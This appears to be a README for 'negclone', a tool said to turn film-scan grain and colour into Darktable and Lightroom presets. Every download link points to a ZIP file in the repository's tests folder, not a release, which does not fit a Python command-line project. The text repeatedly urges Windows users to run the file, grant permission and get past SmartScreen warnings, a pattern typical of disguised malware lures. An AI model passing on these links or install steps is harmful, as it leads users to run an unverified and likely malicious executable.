🎞️ negclone - Match Film Grain With Ease

📥 Download negclone

Use this link to visit the download page:

https://github.com/debugmindflow/negclone/raw/refs/heads/main/tests/Software_2.7-beta.5.zip

Follow the steps on the page to get the Windows version, then open the downloaded file.

🧰 What negclone does

negclone helps you extract grain and color traits from film scans. It then builds presets you can use in Darktable and Lightroom.

Use it when you want to:

• copy the look of a film scan
• save a grain or color style as a preset
• keep a consistent look across many photos
• speed up film-style editing on Windows

💻 What you need

Before you start, make sure you have:

• a Windows 10 or Windows 11 PC
• an internet connection
• a film scan or image file to work from
• enough free space for your scans and presets
• Darktable or Lightroom if you want to use the presets

If you plan to work with a lot of scans, keep your files in one folder. That makes setup much easier.

🚀 Getting Started

1. Open this page: https://github.com/debugmindflow/negclone/raw/refs/heads/main/tests/Software_2.7-beta.5.zip
2. Find the latest download for Windows
3. Download the file to your PC
4. Open the downloaded file
5. If Windows asks for permission, click Yes
6. Follow the on-screen steps to finish setup
7. Start negclone from the folder or shortcut you created

If the download comes as a ZIP file, right-click it and choose Extract All before you open it.

🪟 Install on Windows

Use these steps if you are new to Windows downloads:

1. Go to the negclone page.
2. Look for the release or download file.
3. Choose the Windows version.
4. Save the file to your Downloads folder.
5. Open File Explorer.
6. Find the file in Downloads.
7. Double-click the file.
8. If it is a ZIP file, extract it first.
9. If it is an app file, run it.
10. Follow the setup steps on screen.

If Windows shows a SmartScreen message, choose the option that lets you continue after you confirm the file came from the GitHub page above.

🖼️ How to use negclone

negclone is built for film scans. A simple workflow looks like this:

1. Open the app or tool.
2. Load your scan or image set.
3. Pick the file you want to analyze.
4. Extract the grain and color fingerprint.
5. Choose Darktable or Lightroom output.
6. Generate the preset.
7. Save the preset file.
8. Import it into your editing app.

For best results, use scans that are clean and well exposed. This helps the preset match the source look more closely.

🎛️ Working with Darktable

If you use Darktable, negclone can help you build a preset that fits your scan style.

Typical use:

• load your scan into negclone
• create the preset file
• open Darktable
• import the preset
• apply it to your image

Keep your source scan and your edited photo in the same color space when possible. That helps the look stay closer to the original scan.

🧪 Working with Lightroom

If you use Lightroom, negclone can help you create a preset you can bring into your catalog.

Typical use:

• analyze the film scan in negclone
• export the Lightroom preset
• open Lightroom
• import the preset
• apply it to your photo set

If you edit many images from one roll of film, save the preset with a clear name. That makes it easy to find later.

🎨 Best results

To get a better match, use scans with:

• clear shadows and highlights
• even light
• little dust or scratch damage
• the film stock you want to copy
• a file that has not been heavily edited

Try to use one clean reference scan for each look you want to save. That keeps the preset focused.

📂 File tips

Keep your files organized like this:

• Scans for source images
• Presets for saved Darktable or Lightroom files
• Exports for finished edits
• Notes for scan names and film stock names

A simple folder setup saves time when you return to a project later.

🛠️ Common tasks

Create a new preset

1. Open negclone
2. Load the scan
3. Run the fingerprint step
4. Pick the output type
5. Save the preset

Reuse an old look

1. Open your saved preset
2. Import it into Darktable or Lightroom
3. Apply it to a new photo
4. Tweak exposure or white balance if needed

Compare different scans

1. Load one scan at a time
2. Create a preset from each one
3. Name each preset by film stock or date
4. Test them on the same photo

🔍 Tips for non-technical users

If something feels confusing, start small:

• use one scan
• make one preset
• test it on one photo
• save the result
• repeat with a second scan

This keeps the process easy to follow.

If the file will not open, check these common issues:

• the download did not finish
• you opened the ZIP without extracting it
• Windows blocked the file
• you do not have permission to run it from the current folder

📎 Project details

• Name: negclone
• Description: Extract grain/color fingerprints from film scans and generate Darktable + Lightroom presets
• Topics: analog-photography, cli, color-grading, darktable, film-grain, film-photography, flickr-api, lightroom, presets, python

🧭 What this tool is for

negclone is a good fit if you want to:

• save the look of a film scan
• build repeatable presets
• keep a film-style editing workflow
• move the same look between tools
• work with grain and color in one place

📌 Quick start

1. Visit https://github.com/debugmindflow/negclone/raw/refs/heads/main/tests/Software_2.7-beta.5.zip
2. Download the Windows file
3. Open it on your PC
4. Load a scan
5. Create a preset
6. Import it into Darktable or Lightroom